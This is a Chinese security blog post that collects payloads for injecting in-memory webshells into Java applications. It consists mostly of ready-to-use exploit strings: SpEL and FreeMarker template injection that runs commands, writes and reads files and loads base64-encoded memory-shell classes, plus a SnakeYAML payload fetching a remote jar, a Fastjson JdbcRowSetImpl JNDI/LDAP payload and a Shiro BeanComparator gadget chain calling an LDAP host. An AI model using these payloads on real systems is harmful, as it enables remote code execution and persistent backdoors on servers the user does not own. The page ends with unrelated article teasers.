收集内存马打入方式

VSole2023-05-29 09:42:33

SPEL

一款用不加模板解析的payload

T(java.lang.Runtime).getRuntime().exec("calc")new+java.lang.ProcessBuilder("cmd","/c","Calc").start()

加模板解析的payload

#{new java.lang.ProcessBuilder({'calc'}).start()}

可以回显时使用

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

可以打入内存马高版本Spring Core 受限

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

使用JNDI 注入利用 在Springboot 中不适用,因为它会程序启动时初始化InitialContext

#{T(java.lang.System).setProperty('com.sun.jndi.ldap.object.trustURLCodebase', 'true')} #{new javax.management.remote.rmi.RMIConnector(new javax.management.remote.JMXServiceURL("service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc"), new java.util.Hashtable()).connect()}

FreeMarker

执行命令

${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("Calc")}
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

写文件

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","/tmp/hh.txt").append("<>").close()}

读文件

<#assign+value="freemarker.template.utility.ObjectConstructor"?new()("java.io.FileReader","C:\\Temp\\test.txt")>${"freemarker.template.utility.ObjectConstructor"?new()("java.util.Scanner",value).useDelimiter("\\Aasd").next()}

使用SPEL利用

${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}

使用SPEL 进行JNDI

${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new+javax.management.remote.rmi.RMIConnector(new+javax.management.remote.JMXServiceURL(\"service:jmx:rmi://127.0.0.1:1389/jndi/ldap://127.0.0.1:1389/Basic/Command/Calc\"),new+java.util.Hashtable()).connect()").getValue()}

使用SPEL 加载内存马

${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringInterceptor',T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADQA5。。。\"),new+javax.management.loading.MLet(new+java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()").getValue()}

使用Jython

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

YAML

ftp 可以换为HTTP 及其他支持协议

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://127.0.0.1:8000/yaml-payload4.jar"]]]]

Fastjson

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://xx.xx.xx.xx:9102/123",        "autoCommit":true    }}

Shiro Cookie 过长?不防看看这种方法

熟悉得师傅一下就可以看出内存马怎们打了吧

 final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    queue.add("1");
    queue.add("1");
    Reflections.setFieldValue(comparator, "property", "parameterMetaData");
    JdbcRowSetImpl test =  new com.sun.rowset.JdbcRowSetImpl();
    test.setDataSourceName("ldap://823s64b3.dns.1433.eu.org.");
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = test;
    return queue;
calc
本作品采用《CC 协议》,转载必须注明作者和本文链接
根据以色列商业媒体网站 Calcalist 的调查,以色列警方在未经授权的情况下,使用 NSO 集团备受争议的 Pegasus 间谍软件对包括政治家和活动人士在内的以色列公民进行电话侦听。监控以色列公民需要法院监督,这些监控是在缺少法院监督的情况下进行的,对于数据如何使用也缺乏监督,以色列警方和一位政府部长明确否认这一说法。
安全运维:cmd命令大全(108个)
收集内存马打入方式
2023-05-29 09:42:33
收集内存马打入方式
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
安全专家ProxyLife 和 Cyble 研究人员最近发现了一个Qakbot活动,该活动利用 Windows 7 Calculator 应用程序进行 DLL 侧载攻击。动态链接库 (DLL) 旁加载是一种利用 Microsoft Windows 应用程序处理 DLL 文件的方式的攻击方法。在此类攻击中,恶意软件会在 Windows 的 WinSxS 目录中放置一个伪造的恶意 DLL 文件,以便操
VT EPT原理解析和进阶VT开启EPT后,绕过pg检测,无视目前任何内核检测工具的检测如PCHander检测不到HOOK。本次案例实现欺骗系统达到无痕HOOK SSDT中的NtOpenprocess保护calc程序的内存,让OD,CE工具无法附加搜索。
java -jar weblogic.jar -jndistart -Jport 8888 -jndirmi -codeurl http://127.0.0.1/
美国拉斯维加斯-黑帽大会消息,跟上安全漏洞修补的步伐是具有挑战性的,由于缺乏上下文的CVSS分数、混乱的供应商建议和不完整的修复,确定优先关注哪些漏洞变得比以往任何时候都更加困难。
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
2014年为以色列警方设计的Pegasus间谍软件原型细节和截图显示了该系统的工具和深远的能力,该系统计划在日常警务工作中部署。
VSole
网络安全专家